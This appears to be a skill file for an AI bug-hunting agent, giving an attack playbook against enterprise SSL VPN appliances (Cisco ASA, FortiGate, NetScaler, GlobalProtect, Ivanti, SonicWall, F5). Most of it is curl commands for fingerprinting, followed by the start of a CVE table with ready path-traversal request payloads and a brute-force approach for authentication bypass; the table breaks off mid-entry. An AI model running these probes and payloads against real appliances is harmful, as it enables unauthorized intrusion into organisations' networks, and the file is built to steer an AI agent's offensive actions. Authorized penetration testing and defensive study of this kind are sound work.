$npx -y skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attackExternal SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backe
| 1 | ## When to use this skill |
| 2 | |
| 3 | Trigger when recon surfaces: |
| 4 | - `*.<client>.example/+CSCOE+/logon.html` or similar `+CSCOE+` paths → Cisco ASA / AnyConnect |
| 5 | - `intranet.*` / `vpn.*` / `connect.*` / `webvpn.*` / `wc.*` / `remote.*` subdomains |
| 6 | - Port 443 returning login pages with `Server: Apache` or banner like "AnyConnect", "FortiGate", "NetScaler", "GlobalProtect", "Pulse", "Ivanti" |
| 7 | - TCP 8443 / 4443 / 10443 / 8888 (common VPN web-mgmt ports) |
| 8 | - HTTP responses with `Set-Cookie: webvpn=` (Cisco) / `SVPNCOOKIE=` (Fortinet) / `NSC_AAA=` (Citrix) / `DSAuthSession=` (Pulse) / `BIGipServer*` (F5) |
| 9 | |
| 10 | DO NOT use for: |
| 11 | - Internal lateral-movement post-foothold (out of scope per user's boundary) |
| 12 | - VPN client-side bugs (different attack class) |
| 13 | - IPsec / L2TP / OpenVPN (different protocols, not SSL VPN web stack) |
| 14 | |
| 15 | --- |
| 16 | |
| 17 | ## Vendor identification (fingerprinting) |
| 18 | |
| 19 | ### Cisco ASA / AnyConnect |
| 20 | ```bash |
| 21 | curl -skI 'https://target/+CSCOE+/logon.html' | head -10 |
| 22 | # Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content |
| 23 | # Login page contains: "AnyConnect", "CSCOE", "logon.html" |
| 24 | ``` |
| 25 | ASA version: not banner-disclosed in modern builds; need to derive from JS file paths or test specific paths. |
| 26 | |
| 27 | ```bash |
| 28 | # Path-based version hints (older builds leaked builds in URLs) |
| 29 | curl -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test' |
| 30 | curl -sk 'https://target/+CSCOE+/saml/sp/metadata' # 200 = SAML auth enabled |
| 31 | curl -sk 'https://target/CSCOSSLC/config-auth' # AnyConnect handshake endpoint |
| 32 | ``` |
| 33 | |
| 34 | ### Fortinet FortiGate / FortiOS |
| 35 | ```bash |
| 36 | curl -skI 'https://target/remote/login' | head -10 |
| 37 | # Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or "xxxxxxxx-xxxxx" |
| 38 | # Login page contains: "FortiGate", "Fortinet", "SSL-VPN" |
| 39 | ``` |
| 40 | Version: `/remote/info` sometimes leaks (older), or `/login?username=` 302 response |
| 41 | |
| 42 | ### Citrix NetScaler / ADC / Gateway |
| 43 | ```bash |
| 44 | curl -skI 'https://target/' | head -10 |
| 45 | # Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler |
| 46 | # Login page contains: "NetScaler", "Citrix Gateway" |
| 47 | |
| 48 | # Version banner |
| 49 | curl -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+' |
| 50 | curl -sk 'https://target/menu/neo' # 200 if vulnerable to CVE-2019-19781 era |
| 51 | ``` |
| 52 | |
| 53 | ### Palo Alto GlobalProtect |
| 54 | ```bash |
| 55 | curl -skI 'https://target/global-protect/login.esp' | head -10 |
| 56 | # Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal) |
| 57 | # Page contains: "GlobalProtect Portal", "PAN-OS" |
| 58 | |
| 59 | # Version banner via login page |
| 60 | curl -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\s\S]{0,200}' |
| 61 | # Or check meta tag |
| 62 | curl -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+' |
| 63 | ``` |
| 64 | |
| 65 | ### Pulse Secure / Ivanti Connect Secure |
| 66 | ```bash |
| 67 | curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10 |
| 68 | # Look for: Set-Cookie: DSAuthSession=, DSPREAUTH= |
| 69 | # Page contains: "Pulse Secure" or "Ivanti Connect Secure" |
| 70 | |
| 71 | # Version |
| 72 | curl -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^<]*|ivanti[^<]*[0-9.]+' |
| 73 | ``` |
| 74 | |
| 75 | ### SonicWall NetExtender / SMA |
| 76 | ```bash |
| 77 | curl -skI 'https://target/cgi-bin/welcome' | head -10 |
| 78 | # Look for: Set-Cookie: swap=, swapauth= |
| 79 | # Page contains: "SonicWall", "NetExtender", "SMA" |
| 80 | ``` |
| 81 | |
| 82 | ### F5 Big-IP / APM |
| 83 | ```bash |
| 84 | curl -skI 'https://target/my.policy' | head -10 |
| 85 | # Look for: Set-Cookie: BIGipServer*, MRHSession= |
| 86 | # Server: BIG-IP (sometimes) |
| 87 | ``` |
| 88 | |
| 89 | --- |
| 90 | |
| 91 | ## CVE matrix — pre-auth or auth-bypass (2018-2026) |
| 92 | |
| 93 | ### Cisco ASA / AnyConnect |
| 94 | |
| 95 | | CVE | Affects | Type | Test | |
| 96 | |---|---|---|---| |
| 97 | | **CVE-2018-0296** | ASA pre-9.x specific builds | Path traversal — info disclosure (sessions, config) | `GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua` | |
| 98 | | **CVE-2020-3452** | ASA, FTD before specific patch levels | Path traversal — file read | `GET /+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua` and variations | |
| 99 | | **CVE-2023-20269** | ASA, FTD specific | Auth bypass on SSL VPN | Brute-force a group + valid creds combo against `/+webvpn+/index.html` | |
| 100 | | **CVE-2024-20481** | RAVPN | DoS via crafted handshake | **SKIP in red team — disrupti |